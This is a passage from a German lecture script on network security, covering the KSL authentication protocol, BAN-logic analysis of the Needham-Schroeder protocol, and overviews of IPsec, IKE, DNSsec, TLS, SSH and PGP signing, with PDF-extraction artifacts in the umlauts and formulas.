die Nachricht aktuell ist. Danach entnimmtB den SitzungsschlüsselKab und ver-
schl̈usselt damit den in der ersten Nachricht empfangenen NonceNa. Außerdem
erzeugtB einen weiteren NonceNc.

• Um für eine gewisse Zeit eine wiederholte Authentifizierung zu ermöglichen, wird
ein spezielles Ticket erzeugt, daß einen lokalen ZeitstempelTb sowie die Kennung
der ParteiA und den SitzungsschlüsselKab entḧalt. Dieses Ticket wird mit einem
Schl̈usselKbb verschl̈usselt, der nur der ParteiB bekannt ist.

• Nach dem Empfang der vierten Nachricht entschlüsselt die ParteiA zun̈achst den
ersten Teil,überpr̈uft den NonceNa und entnimmt den SitzungsschlüsselKab. Mit
diesem Schl̈ussel kann der verschlüsselte NonceNa entschl̈usselt werden, wodurch
festgestellt wird, daßB über den Schlüssel verf̈ugt.

• Das Ticket aus der vierten Nachricht wird für sp̈atere Authentifizierungen mitB
aufgehoben.

• Im letzten Schritt sendetA den NonceNc mit Kab verschl̈usselt anB, um B zu
überzeugen, daßA gegenẅartig existiert und den SchlüsselKab benutzen kann.

Protokollablauf f̈ur die wiederholte Authentifizierung:

A B

1’

2’

3’

Abbildung 8.4: Wiederholte Authentifizierung mit dem KSL Protokoll

Nachricht 1′: A→ B : N ′a, {Tb, A,Kab}Kbb
Nachricht 2′: B → A : N ′b, {N ′a}Kab
Nachricht 3′: A→ B : {N ′b}Kab

• Die Partei erzeugt einen weiteren NonceN ′a und sendet ihn zusammen mit dem
Ticket an die ParteiB.
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• Die ParteiB entschl̈usselt das Ticket und̈uberpr̈uft den ZeitstempelTb. Falls das
Ticket noch g̈ultig ist, erzeugtB einen NonceN ′b und sendet ihn zusammen mit dem
mit Kab verschl̈usselten NonceN ′a an die ParteiA.

• ParteiA überpr̈uft den NonceN ′a und sendet ihrerseits den mitKab verschl̈usselten
NonceN ′b zurück anB.

Eigenschaften des KSL Protokolls:

• Wird eine wiederholte Authentifizierung nicht benötigt, so kann das Ticket in der
vierten Nachricht entfallen und man erhält ein etwas einfacheres Protokoll.

• Der Zeitstempel in dem Ticket ist so zu konstruieren, daß er die folgenden Informa-
tionen entḧalt:

1. Die aktuelle lokale Uhrzeit vonB.

2. Die Lebensdauer des Tickets.

3. Eine Uhrzeitkennung, mit der Tickets entdeckt werden können, deren Zeitstem-
pel vor der letzten Zeitkorrektur vergeben wurde. (Eine Uhrzeitkennung läßt
sich durch einen einfachen Zähler realisieren, der bei jederÄnderung der Uhr-
zeit inkrementiert wird.)

• Das KSL Protokoll ist nachweislich korrekt, redundanzfrei und minimal.

8.6 BAN-Logik

Die BAN-Logik ist eine formale Methode, mit der exakte Aussagenüber Authentifizie-
rungsprotokolle gewonnen werden können. Ziel ist es, verschiedene Protokolle bezüglich
der folgenden Fragen miteinander vergleichen zu können:

• Was kann mit einem Protokoll genau erreicht werden?

• Ben̈otigt ein Protokoll mehr Voraussetzungen als ein anderes?

• Wird in einem Protokoll etwas unnötig getan, das weggelassen werden könnte, ohne
das Protokoll zu schẅachen?

• Wird in einem Protokoll etwas unnötig verschl̈usselt, das ebensogut auch als Klartext
gesendet werden könnte, ohne das Protokoll zu schwächen?

Die BAN-Logik definiert eine Menge von Schlußfolgerungsregeln, mit denen aus einer
Menge von Voraussetzungen und dem Protokollablauf gültige Aussagen abgeleitet werden
können. Damit die BAN-Logik angewendet werden kann, müssen zun̈achst die Vorausset-
zungen und das Protokoll selbst in einer idealisierten Form formal dargestellt werden. Die
Anwendung der BAN-Logik erfolgt also grundsätzlich in den folgenden Schritten:
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, Durch ein Komma wird die konjunktive Verknüpfung von Aussagen ausge-
drückt.

P |≡ X P glaubt anX, d.h.P wird sich so verhalten, als obX wahr ist.
P CX P siehtX, d.h.P hat eine eventuell verschlüsselte Nachricht erhalten, dieX

enthielt und dieP entschl̈usseln konnte.
P |∼ X P hatX einmal gesendet, d.h.P hat irgendwann einmal eine Nachricht ge-

sendet, die die AussageX beinhaltet hat. Dabei ist nicht bekannt, wie alt die
betreffende Nachricht ist.

P ⇒X P hat GewaltüberX, d.h. ein BenutzerP hat Autoriẗat über eine Aussage
X, und andere Benutzer vertrauenP dafür. Falls z.B. Schl̈ussel besonders
sorgf̈altig von einem Server geẅahlt werden m̈ussen, sollte dem Server für
diese Eigenschaft vertraut werden.

#(X) X ist unbenutzt, d.h. die AussageX wurde im bisherigen Ablauf des Proto-
kolls niemals in einer Nachricht benutzt. Diese Eigenschaft wird für soge-
nannteNoncesvorausgesetzt, d.h. Ausdrücke, die speziell f̈ur diesen Zweck
generiert werden und nur für diesen einen Fall benutzt werden.

P
K↔ Q P undQ teilen den gemeinsamen geheimen SchlüsselK. Desweiteren wird

angenommen, daßK ein guter Schl̈ussel ist, d.h. daß niemand außerP , Q
und deren Vertraute den Schlüssel kennen bzw. erfahren.

K7→ P K ist deröffentliche Schl̈ussel vonP . Dies bedeutet gleichzeitig, daßP den
zugeḧorigen geheimen Schlüssel kennt.

P
X

 Q P undQ teilen das gemeinsame GeheimnisX, d.h. die AussageX kann

zwischenP undQ zum Nachweis der Identität benutzt werden.
{X}K Dieser Ausdruck stelltX chiffriert unter dem SchlüsselK dar. Dies ist ei-

ne Kurzform von{X}K vonP , d.h.P hat die Nachricht{X}K gesendet.
Falls Mißversẗandnisse ausgeschlossen sind, wird immer dieübersichtlichere
Kurzform benutzt.

〈X〉Y Dieser Ausdruck stelltX kombiniert mitY dar, wobei Y ein Geheimnis dar-
stellt. In Implementierungen könnte das z.B. durch einfache Konkatenation
der AussagenX undY durchgef̈uhrt werden.

H(X) Dieser Ausdruck stellt das Ergebnis der Hash-FunktionH angewendet aufX
dar.

Tabelle 8.1: Die in der Logik verwendeten Relationssymbole

1. Ableitung des idealisierten Protokolls.

2. Formale Beschreibung der Voraussetzungen des Protokolls.

3. Die neuen Behauptungen, die sich aus jedem einzelnen Protokollschritt ergeben,
werden nach dem jeweiligen Schritt aufgeschrieben.
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4. Aus den schon g̈ultigen Behauptungen werden zusammen mit den aus einem Proto-
kollschritt resultierenden Behauptungen unter Anwendung der Schlußfolgerungsre-
geln neue Aussagen abgeleitet.

8.6.1 Relationssymbole

Die Relationssymbole der BAN-Logik sind in der Tabelle8.1 dargestellt. Bez̈uglich der
Klammerung gilt in der BAN-Logik die Regel, daß in jeder Aussage der am weitesten

rechts stehende Operator am stärksten bindet. So ist die AussageA |≡ B |≡ A
K↔ B

äquivalent zuA |≡ (B |≡ (A
K↔ B)).

8.6.2 Formale Ziele eines Authentifizierungsprotokolls

Mit Hilfe der Relationssymbole lassen sich die Ziele eines Authentifizierungsprotokolls
formal wie folgt darstellen. Oft ist es erwünscht, daß zwei ParteienA undB nach Ablauf
eines Authentifizierungsprotokolls̈uber einen gemeinsamen geheimen Sitzungsschlüssel
K verfügen, d.h. formal ausgedrückt:

A |≡ A
K↔ B, B |≡ A

K↔ B.

Mit einigen Authentifizierungsprotokollen kann zusätzlich erreicht werden, daß jede Partei
daran glaubt, daß die andere Partei auf diesen SchlüsselK als gemeinsamen geheimen
Schl̈ussel vertraut, d.h. formal ausgedrückt:

A |≡ B |≡ A
K↔ B, B |≡ A |≡ A

K↔ B.

8.6.3 Schlußfolgerungsregeln

Die wichtigsten Schlußfolgerungsregeln der BAN-Logik lauten:

(1) Die Regel zur Bedeutung von Nachrichten:

(a) Für gemeinsame geheime Schlüssel:

P |≡ Q
K↔ P, P C {X}K
P |≡ Q |∼ X

.

(b) Für öffentliche Schl̈ussel:

P |≡ K7→ Q, P C {X}K−1

P |≡ Q |∼ X
.
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(c) Für gemeinsame Geheimnisse:

P |≡ Q
Y

 P, P C 〈X〉Y
P |≡ Q |∼ X

.

In der Regel (1a) istP der Überzeugung, daßK ein geheimer Schlüssel ist, den
P mit Q teilt, undP hat eine NachrichtX erhalten, die mitK verschl̈usselt ist.
Dann kannP daran glauben, daßQ irgendwann einmalX gesendet hat. Dabei muß
allerdings sichergestellt sein, daßP diese Nachricht nicht an sich selbst geschickt
hat. Die Regeln (1b) und (1c) ergeben sich völlig analog.

(2) Die Regel zur Nonce-Verifikation:

P |≡ #(X), P |≡ Q |∼ X

P |≡ Q |≡ X
.

Mit dieser Regel kann̈uberpr̈uft werden, ob eine Nachricht gegenwärtig ist, d.h. sie
führt P zu derÜberzeugung, daßQ (gegenẅartig) anX glaubt. Dieser Schluß ist
nur zul̈assig f̈ur KlartextaussagenX.

(3) Die Regel zur Autoriẗat:

P |≡ Q⇒X, P |≡ Q |≡ X

P |≡ X
.

In dieser Regel vertrautP darauf, daßQ MachtüberX hat und anX glaubt. Dann
glaubtP auch an die G̈ultigkeit vonX.

(4) Regeln zur Zusammensetzung und Aufteilung von Aussagen, denen vertraut wird:

(a) Für die Zusammensetzung vertrauenswürdiger Aussagen:

P |≡ X, P |≡ Y

P |≡ (X, Y )
.

(b) Für die Aufteilung von vertrauensẅurdigen Aussagen in Komponenten:

P |≡ (X, Y )

P |≡ X
.

(c) Für die Aufteilung von Aussagen, an die eine vertraute Partei glaubt:

P |≡ Q |≡ (X,Y )

P |≡ Q |≡ X
.

Weitere ähnliche Regeln, die offensichtlich gültig sind, werden entsprechend bei
Bedarf eingef̈uhrt.
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(5) Eineähnliche Regel zur Aufteilung einer Aussage, die einmal gesendet wurde:

P |≡ Q |∼ (X, Y )

P |≡ Q |∼ X
.

Hierbei ist wichtig, daß der Umkehrschluß (ausP |≡ Q |∼ X undP |≡ Q |∼ Y
würde folgenP |≡ Q |∼ (X, Y )) nicht gilt, weil die Folgerung bedeutet, daßX und
Y zur gleichen Zeit in einer Nachricht versendet wurden.

(6) Regeln zum Sehen und Entschlüsseln von Nachrichten und deren Komponenten:

(a) Für das Sehen einer Komponente:

P C (X,Y )

P CX
.

(b) Für das Sehen einer mit einem Geheimnis kombinierten Nachricht:

P C 〈X〉Y
P CX

.

(c) Für das Sehen einer konventionell verschlüsselten Nachricht:

P |≡ Q
K↔ P, P C {X}K
P CX

.

(d) Für das Sehen einer mit einem̈offentlichen Schl̈ussel chiffrierten Nachricht:

P |≡ K7→ P, P C {X}K
P CX

.

(e) Für das Sehen einer mit einem geheimen Schlüssel chiffrierten Nachricht:

P |≡ K7→ Q, P C {X}K−1

P CX
.

Analog zur Regel (5) ist auch hier der Umkehrschluß der ersten Regel unzulässig.

(7) Die Regel zu unbenutzten Aussagen:

P |≡ #(X)

P |≡ #(X, Y )
.

Falls also ein Teil einer Aussage unbenutzt ist, so gilt dies auch für die ganze Nach-
richt. Ähnliche Regeln k̈onnten z.B. f̈ur die Verschl̈usselung unbenutzter Aussagen
angegeben werden.

(8) Regeln zur Kommutativiẗat gemeinsamer geheimer Schlüssel:
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(a) Für geheime Schlüssel, denen vertraut wird:

P |≡ R
K↔ R′

P |≡ R′
K↔ R

.

(b) Für vertraute Parteien, die an geheime Schlüssel glauben:

P |≡ Q |≡ R
K↔ R′

P |≡ Q |≡ R′
K↔ R

.

(9) Regeln zur Kommutativiẗat gemeinsamer Geheimnisse:

(a) Für Geheimnisse, denen vertraut wird:

P |≡ R
X

 R′

P |≡ R′
X

 R

.

(b) Für vertraute Parteien, die an Geheimnisse glauben:

P |≡ Q |≡ R
X

 R′

P |≡ Q |≡ R′
X

 R

.

(10) Die Regel zur Hash-Funktion:

P |≡ Q |∼ H(X), P CX
P |≡ Q |∼ X

.

In dieser Regel vertrautP darauf, daßQ einmalH(X) gesendet hat, undP hat eine
Nachricht erhalten, dieX enthielt. Dann gelangtP zu derÜberzeugung, daßQ auch
X gesendet hat.

8.6.4 Analyse des Needham-Schroeder Protokolls

Anhand des Needham-Schroeder Protokolls soll kurz skizziert werden, wie ein Authentifi-
zierungsprotokoll mit Hilfe der BAN-Logik analysiert werden kann:

Transformation in das idealisierte Protokoll

Nachricht 2: S → A : {Na, (A
Kab↔ B),#(A

Kab↔ B){A Kab↔ B}Kbs}Kas
Nachricht 3: A→ B : {A Kab↔ B}Kbs
Nachricht 4: B → A : {Nb, (A

Kab↔ B)}Kab vonB

Nachricht 5: A→ B : {Nb, (A
Kab↔ B)}Kab vonA

• Nachricht 1 entf̈allt, da es eine reine Klartextnachricht ist.
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Definition der Voraussetzungen

(1) A |≡ A
Kas↔ S, B |≡ B

Kbs↔ S, S |≡ A
Kas↔ S, S |≡ B

Kbs↔ S;

(2) S |≡ A
Kab↔ B;

(3) A |≡ (S⇒A K↔ B), B |≡ (S⇒A K↔ B), A |≡ (S⇒#(A
K↔ B));

(4) A |≡ #(Na), B |≡ #(Nb), S |≡ #(A
K↔ B), B |≡ #(A

K↔ B).

• Die Voraussetzungen (1) betreffen die gemeinsamen Schlüssel und sind offensicht-
lich.

• Die Voraussetzung (2) macht deutlich, daß der ServerS einen Schl̈usselKab kennt,
den er hier zuvor erzeugen muß und der Sitzungsschlüssel f̈urA undB werden soll.

• Bei den Voraussetzungen (3) wird gefordert, daß der ServerS Gewaltüber die Un-
benutztheit von Sitzungsschlüsseln hat, was vernünftig erscheint.

• Bei den Voraussetzungen (4) sind die ersten drei im Zusammenhang dieses Proto-

kolls offensichtlich. Die letzte VoraussetzungB |≡ #(A
K↔ B) ist in der Protokoll-

analyse notwendig und stellt damit den Mangel des Protokolls dar.

Analyse des Protokoll durch wiederholte Anwendung der Schlußfolgerungsregeln

Als erstes sendetA die Klartextnachricht 1 an den ServerS, wodurch ihm unter anderem
der NonceNa mitgeteilt wird. Daraufhin erzeugtS den Schl̈usselKab unter der Vorausset-
zung, daßKab ein guter und unbenutzter Schlüssel ist. Dann sendetS die Nachricht 2 an
A, d.h.

AC {Na, (A
Kab↔ B),#(A

Kab↔ B), {A Kab↔ B}Kbs}Kas .

Mit der Regel (6c) und Voraussetzung (1a) kann die Nachricht entschlüsselt werden und
mit der Regel (6a) komponentenweise betrachtet werden:

ACNa und AC {A Kab↔ B}Kbs .

Hier kannA den NonceNa überpr̈ufen um festzustellen, daß die Nachricht 2 keine Wieder-
holung einer alten Server-Antwort war. Mit dem zweiten Teil istA in der Lage, Nachricht
3 anB zu senden.

Zunächst k̈onnen aber noch weitere Schlußfolgerungen aus der verschlüsselten Nachricht
2 gezogen werden. Mit der Regel (1a) und der Voraussetzung (1a) erhält man

A |≡ S |∼ (Na, (A
Kab↔ B),#(A

Kab↔ B), {A Kab↔ B}Kbs).

Aus der Voraussetzung (4a) kann mit der Regel (7) die Aussage

63



A |≡ #(Na, (A
Kab↔ B),#(A

Kab↔ B), {A Kab↔ B}Kbs)

abgeleitet werden, womit sich jetzt die Regel (2) anwenden läßt:

A |≡ S |≡ (Na, (A
Kab↔ B),#(A

Kab↔ B), {A Kab↔ B}Kbs).

Diese Aussage läßt sich nun mit der Regel (4c) in die Komponenten

A |≡ S |≡ (A
Kab↔ B) und A |≡ S |≡ #(A

Kab↔ B)

zerlegen. Mit der Voraussetzung (3a) bzw. (3c) kann die Regel (3) angewendet werden,
und man erḧalt

A |≡ (A
Kab↔ B) und A |≡ #(A

Kab↔ B).

Weitere Schl̈usse k̈onnen an dieser Stelle nicht gezogen werden.

Als nächstes wird die Nachricht 3 anB gesendet, d.h.

B C {A Kab↔ B}Kbs .

Zusammen mit der Voraussetzung (1b) kann die Regel (1a) angewendet werden, womit

B |≡ S |∼ (A
Kab↔ B).

gefolgert werden kann. An dieser Stelle ist man auf die etwas seltsame Voraussetzung

B |≡ #(A
K↔ B) angewiesen, ohne die man nicht fortfahren kann. In der Nachricht 3 ist

nichts vorhanden, von dessen UnbenutztheitB überzeugt ist, d.h.B vermutet einfach, daß
diese Voraussetzung zutrifft.

Damit kann die Regel (2) angewendet werden, womit der Schluß

B |≡ S |≡ (A
Kab↔ B)

gezogen werden kann. Mit der Voraussetzung (3b) erhält man unter Anwendung der Regel
(3)

B |≡ A
Kab↔ B.

Nun erzeugtB den NonceNb und sendet Nachricht 4 anA, d.h.

AC {Nb, (A
Kab↔ B)}Kab .
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DaA den Schl̈usselKab kennt, kann er mit den Regeln (6c) und (6a) die Aussage

ACNb

ableiten, womitA in der Lage ist, Nachricht 5 anB zu senden.

Zunächst kann aber noch aus der verschlüsselten Nachricht 4 mit der Regel (1a) die Aus-
sage

A |≡ B |∼ (Nb, (A
Kab↔ B))

gefolgert werden. Mit der Regel (5) erhält man daraus die Komponente

A |≡ B |∼ (A
Kab↔ B).

Da fürA nach Empfang der Nachricht 2 die AussageA |≡ #(A
Kab↔ B) abgeleitet werden

konnte, kann hier die Regel (2) angewendet werden und auf die Aussage

A |≡ B |≡ (A
Kab↔ B)

geschlossen werden.

Nun empf̈angtB die Nachricht 5, d.h.

B C {Nb, (A
Kab↔ B)}Kab .

Diese Nachricht kann, daB ebenfalls den SchlüsselKab kennt, mit der Regel (6c) ent-
schl̈usselt werden, und mit der Regel (6a) kann die Komponente

B CNb

betrachtet werden. Hier kannB den NonceNb überpr̈ufen. Aus der verschlüsselten Nach-
richt 5 läßt sich mit der Regel (1a) die Aussage

B |≡ A |∼ (Nb, (A
Kab↔ B))

folgern. Mit der Regel (7) l̈aßt sich der NonceNb auf die Aussage

B |≡ #(Nb, (A
Kab↔ B))

erweitern, womit die Regel (2) angewendet werden kann, und man erhält

B |≡ A |≡ (Nb, (A
Kab↔ B)).

Durch Anwendung der Regel (4c) folgt abschließend

B |≡ A |≡ (A
Kab↔ B).
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Schlußfolgerungen nach Ende des Protokolls

Es lassen sich unter den oben angegebenen Voraussetzungen die Ziele, wie sie in8.6.2
beschrieben sind, nachweisen.

Literaturhinweise

Das Diffie-Hellman Verfahren ist in [14] beschrieben. Die Verwendung des Diffie-Hellman
Verfahrens im Sun RPC ist in RFC 1057 [58] definiert und wurde sp̈ater aus RFC 1831 [55]
wieder entfernt. Weitere Details hierzu findet man in RFC 2695 [11].

Das Needham-Schroeder Protokoll ist in [44] vorgeschlagen worden. Kerberos Version 4
wird in [34] beschrieben. Eine kritische Analyse findet man in [4]. Eine Diskussion von
Zeitstempeln findet man in [45]. Die Spezifikation von Kerberos Version 5 findet man in
RFC 1510 [33].

Das Kehne-Scḧonwälder-Langend̈orfer Protokoll ist in [30] und [31] beschrieben.

Die BAN-Logik wurde von Burrows, Abadi und Needham in [7] und [8] definiert. Eine
Übersichtüber die BAN-Logik und eine Analyse der hier vorgestellten Protokolle findet
man in [36]. Eine neuere Arbeit zur Analyse von Authentifizierungsprotokollen findet man
in [1].
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Kapitel 9

Sichere Internetprotokolle

Es gibt verschiedene M̈oglichkeiten, Sicherheitsmechanismen in den Internetprotokollen
zu verankern.

IPsec

TLS (SSL), SSH (tunnel)

PGP, DNSsec, SSH (login), IKE, SNMPv3, ...

Transmission (IEEE 802, ATM, ...)

Anwendungsprotokolle

TCP / UDP

IPv4/ICMPv4 / IPv6/ICMPv6

Applikationsebene:

Transportebene:

Netzwerkebene:

Abbildung 9.1: Sicherheitsprotokolle im Internet Schichtenmodell

• Verschl̈usselung auf Netzwerkebene:

– Erschwert Verkehrsflußanalysen, da einzelne Nachrichten bzw. Pakete nicht
mehr identifiziert werden k̈onnen.

– Ermöglicht es, den Datenaustausch zwischen der Implementation des Netz-
werkprotokolls und der Applikation im Klartext abzuhören und ggf. Daten zu
manipulieren.

– Die gesamte Netzwerkinfrastruktur muß die verwendeten Verschlüsselungs-
verfahren unterstützen.

• Verschl̈usselung auf Transportebene:

– In der Regel einfacher zu realisieren und zu installieren.

– Informationenüber die Kommunikationspartner und deren Interaktionsweise
lassen sich nur m̈aßig gut verbergen.
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– Ist die Verschl̈usselung auf der Tranportebene eine Betriebssystemkomponente,
so besteht weiterhin die M̈oglichkeit, Datenstr̈ome zwischen dem Betriebssy-
stem und der Applikation abzuhören und ggf. Daten zu manipulieren.

• Verschl̈usselung auf Applikationsebene:

– Keine besonderen Anforderungen an die Netzinfrastruktur.

– Verwaltung von Schl̈usselinformationen in den Applikationen oftmals proble-
matisch.

– Keine gute Sicherung gegen Verkehrsflußanalysen.

Gelegentlich finden in sehr sensitiven Bereichen Kombinationen der Verfahren Anwen-
dung.

9.1 IP Security (IPsec)

Übersichtüber IPsec:

• IPsec erm̈oglicht eine sicherëUbertragung von IPv4 und IPv6 Paketen. IPsec ist
zwingend vorgeschrieben für IPv6 und optional f̈ur IPv4.

• IPsec stellt zwei Betriebsarten zur Verfügung:

1. Im Transport Modewerden IP Pakete zwischen zwei Rechnern durch IPsec
gesichert. Daten werden als Klartext von der IPsec Implementation entgegen-
genommen und gesichertüber das Internet zum Zielsystem̈ubertragen. Dort
werden die Daten wieder als Klartext den Applikationen zugänglich gemacht.

2. Im Tunnel Modewird zwischen zwei Gateways ein sicherer Tunnel aufge-
baut,über den beliebiger Datenverkehr durch IPsec gesichertübertragen wer-
den kann.

• Zur Sicherung werden zwei verschiedene Nachrichtenformate eingesetzt:

1. Das ESP-Format(encapsulating security payload) dient der Verschlüsselung
der Nutzdaten. ESP authentifiziert den ESP Protokollkopf und die Nutzdaten,
aber nicht den IP Protokollkopf.

2. Das AH-Format (authentication header) realisiert die Datenintegrität und die
Authentifikation. AH authentifiziert im Gegensatz zu ESP das gesamte Paket
inklusive des IP Protokollkopfes, wobei einige sich während der̈Ubertragung
ändernde Felder ausgenommen sind.

• Durch die Kombination der Varianten ergeben sich insgesamt acht unterschiedliche
Nachrichtenformate. Es ist m̈oglich, die Formate AH und ESP miteinander zu kom-
binieren.
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• Ein spezielles IP-Komprimierungsprotokoll erlaubt die Komprimierung der Daten
vor der Verschl̈usselung.

• Sämtliche kryptographischen Algorithmen können ausgetauscht werden.

• Die Schl̈usselverteilung und die Aushandlung der kryptographischen Funktionen er-
folgt durch ein externes Protokoll. Derzeit wird das IKE Protokoll für diesen Zweck
favorisiert.

• IPsec wird derzeit hauptsächlich zum Aufbau von sicheren Tunneln zur Bildung ein-
gesetzt, mit denen virtuelle private Netze (VPNs) realisiert werden.

• Die Einführung von IPsec erfordert in der RegelÄnderungen an den eingesetzten
Betriebssystemen.

9.2 Internet Key Exchange (IKE)

Übersichtüber IKE:

• IKE stellt in einem ersten Schritten einen sicheren Kanal zwischen zwei IKE Imple-
mentation her.

• Dieser sichere Kanal kann in der zweiten Phase von einem anderen Protokoll benutzt
werden, um seine Sicherheitsparameter zu verhandeln und auszutauschen.

• IKE ist sehr flexibel aber auch sehr komplex.

• Die Sicherung gegen
”
denial of service“ Angriffe ist umstritten.

9.3 DNS Security (DNSsec)

Überblicküber DNSsec:

• DNSsec ist eine Erweiterung des DNS, mit dem Antworten undÄnderungen von
DNS Servern authentifiziert werden können.

• DNSsec beschränkt sich nicht nur auf die Authentifizierung von DNS Namen und
zugeḧorigen IP Adressen. Vielmehr kann beliebige Information in einem DNS Re-
cord authentifiziert werden.

• DNSsec kann als Basis für ein verteiltes Zertifizierungssystem auf der Basis von
DNS benutzt werden.

• DNSsec stellt die folgenden Sicherheitsdienste zur Verfügung:

1. Schl̈usselverteilung
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2. Authentifikation und Integriẗat der Herkunft von Daten

3. Authentifikation und Integriẗat von DNS-Transaktionen

• DNSsec bietet keine Mechanismen zur Verschlüsselung und beschränkt sich auf die
Sicherung von DNS-Transaktionen.

• DNSsec definiert kein Zugriffskontrollmodell.

• DNS Sicherheitsbereiche entsprechen sogenannten DNS Zonen, die jeweils durch
ein asymmetrisches Schlüsselpaar gesichert werden.

9.4 Transport Layer Security (TLS)

Überblicküber TLS:

• TLS ist die standardisierte Variante des Secure Socket Layer (SSL), der von der
Firma Netscape entwickelt wurde.

• TLS setzt auf TCP auf und kann mit relativ begrenztem Aufwand von beliebigen
Applikationen benutzt werden, die TCP-basierte Protokolle benutzen.

• TLS kann einfach mit den Applikationen, die TLS benutzen, verteilt werden, da
keine besonderen Betriebssystemdienste benötigt werden.

• Die Benutzung von TLS kann ineffizient werden, wenn viele Anwendungen ihre
eigene TLS Implementation und Konfiguration besitzen.

• TLS setzt auf die Socket-Schnittstelle auf und stellt selbst wieder Applikationen die
Dienste einer Socket-Schnittstelle zur Verfügung.

Sicherheitseigenschaften:

• Authentifikation eines oder beider Rechner, wobei nur bei einseitiger Authentifikati-
on ein Angriff möglich ist.

• Verschl̈usselung, Integrität und Sicherung gegen Wiederholungen.

• Komprimierung der Daten m̈oglich.

• Keine Möglichkeit zur Bildung von sicheren Tunneln.

• Benutzt eine Zertifizierungsinfrastruktur für die Schl̈usselverteilung.

• Untersẗutzt schwache Verschlüsselung (kurze Schlüssell̈angen), um die US Export-
bestimmungen zu erfüllen.
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9.5 Secure Shell (SSH)

Überblicküber SSH:

• Die Secure Shell (SSH) wurde von Tatu Ylonen an der Helsinki University of Tech-
nology in Finnland entworfen und wird mittlerweile von SSH Communications Se-
curity Ltd. weiterentwickelt.

• SSH ist prim̈ar dazu entwickelt worden, einen sicheren interaktiven Zugang zu Rech-
nernüber das Internet zu erm̈oglichen. (Ersatz f̈ur telnet, rlogin, rsh, rcp.)

• Zus̈atzlich gibt es einen Tunnel-Modus, mit dem beliebige TCP-Verbindungen durch
sichere SSH-Tunnel geschützt werden k̈onnen. (Sicherung von X11 Sitzungen oder
Tunnel durch Firewalls.)

• SSH besitzt eine Client/Server-Architektur und benutzt TCP als Transportprotokoll.

• Das Transportlayer-Protokoll verhandelt die Methode für den Schl̈usselaustausch,
das asymmetrische Verfahren zur Authentifikation des Servers (Diffie-Hellman), den
symmetrischen Verschlüsselungsalgorithmus (IDEA-CBC), den Authentifizierungs-
algorithmus f̈ur Nachrichten (HMAC-SHA-1) und die verwendete Hash-Funktion
(SHA-1) und Komprimierungsalgorithmen (ZLIB).

• Die Version 1 von SSH hat einige bekannte Sicherheitsprobleme.

• Die Benutzung von Zertifikaten für die verwendeten Schlüssel ist vorgesehen, wird
aber in der Praxis selten eingesetzt.

Ablauf einer SSH Verbindung:

• Zunächst wird der Server mit Hilfe eines Diffie-Hellman Austausches authentifiziert.

• Anschließend wird der Benutzer auf dem Server authentifiziert. Dazu stehen ver-
schiedene Methoden zur Verfügung:

1. Keine Authentifikation (none).

2. Authentifikation mit Hilfe eines Paßwortes (password).

3. Authentifikation aufgrund der Host-Adresse (host based).

4. Authentifikation mit einem RSA Schlüssel (public key).

5. Authentifikation mit einem Kerberos Ticket (kerberos).

• Nach der Authentifikation des Servers und des Benutzers auf dem Server können
interaktive Kommandointerpreter benutzt werden oder TCP Verbindungen gemulti-
plexedüber die sichere Verbindung getunnelt werden.
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9.6 Pretty Good Privacy (PGP)

Pretty Good Privacy (PGP) [61, 62] wurde 1991 von Philip Zimmermann entworfen und
hat sich zur Sicherung von Dateien und Nachrichten im Internet weit verbreitet. Der Erfolg
von PGP hat mehrere Ursachen:

• Beim Entwurf von PGP wurden die derzeit besten kryptographischen Verfahren aus-
geẅahlt.

• Die Algorithmen wurden in ein einfach zu benutzendes Programm umgesetzt, das
unabḧangig vom Betriebssystem ist und einen kleinen Satz einfacher Kommandos
bereitstellt.

• Die Implementation wurde zusammen mit dem Quelltext und der Dokumentation
frei zug̈anglich gemacht.

• Zus̈atzlich gab es einen Vertrag mit einer Firma, die eine kommerzielle Version von
PGP anbietet.

Die Entwicklung von PGP hat auch eine Reihe von rechtlichen Fragen aufgeworfen, insbe-
sondere bez̈uglich der Patentrechte und der Exportbestimmungen der USA, die im globalen
Internet an ihre Grenzen stoßen.

PGP kombiniert geschickt verschiedene kryptographische Verfahren, um die jeweiligen
Vorteile auszunutzen:

• IDEA wird als effizientes symmetrisches Verfahren zur Verschlüsselung benutzt.

• RSA wird für Signaturen und den Austausch eines symmetrischen Schlüssels einge-
setzt.

• Die Hashfunktion MD5 wird f̈ur die Sicherung der Integrität und Signaturen verwen-
det.

• Der Komprimierungsalgorithmus ZIP wird zur effizienten Speicherung bzw.Über-
tragung von Nachrichten eingesetzt. Außerdem verringert die Komprimierung die
im Klartext oftmals vorhandene Redundanz.

• Die Radix-64 Kodierung erm̈oglicht eine Darstellung der Nachricht mit einem Al-
phabet aus 64 ASCII-Zeichen, was dieÜbertragung als E-Mails erm̈oglicht.

Neuere Versionen von PGP erlauben die Benutzung von verschiedenen kryptographischen
Verfahren. Damit kann PGP an die aktuelle Entwicklung in der Kryptographie und an
spezielle Bed̈urfnisse einer Umgebung angepaßt werden.
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9.6.1 Signatur

Partei B

m

Z
-1

D

KA

H

Vergleich
m

H E

K
-1

A

|| Z

E(H(m))

Partei A

Abbildung 9.2: Signatur mit PGP

Eine ParteiA signiert einen Klartextm nach folgendem Verfahren:

1. Die ParteiA berechnet den HashwertH(m) des Klartextesm mit Hilfe des MD5
Algorithmus.

2. Der HashwertH(m) wird mit Hilfe des RSA Algorithmus unter Verwendung des
privaten Schl̈usselsK−1

A verschl̈usselt:

EK−1
A

(H(m))

3. Der Klartextm wird mit dem verschl̈usselten Hashwert konkateniert:

EK−1
A

(H(m))‖m

4. Die erhaltene Bytefolge wird schließlich noch mit Hilfe einer Komprimierungsfunk-
tionZ komprimiert:

Z(EK−1
A

(H(m))‖m)

Die ParteiB überpr̈uft die Authentiziẗat der signierten Nachricht nach folgendem Verfah-
ren:

1. Der ParteiB hebt zun̈achst die Komprimierung auf:

Z−1(Z(EK−1
A

(H(m))‖m)) = EK−1
A

(H(m))‖m

2. Die Bytefolge wird in den verschlüsselten HashwertEK−1
A

(H(m)) und den Klartext
m aufgeteilt.

3. Der verschl̈usselte Hashwert wird mit Hilfe des̈offentlichen Schl̈usselsKA vonA
entschl̈usselt:

DKA(EK−1
A

(H(m))) = H(m)
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4. Für den entnommenen Klartextm wird der HashwertH(m) berechnet und mit dem
entschl̈usselten Hashwert aus dem vorigen Schritt verglichen.

Bemerkungen:

• Es ist m̈oglich, PGP Signaturen vom Klartext zu trennen. Dadurch können mehrere
Personen unabhängig voneinander denselben Klartext signieren.

• Der Klartext wird vor der Komprimierung signiert. Dafür gibt es zwei Gr̈unde:

1. Der Klartext kann unkomprimiert zusammen mit der Signatur gespeichert wer-
den.

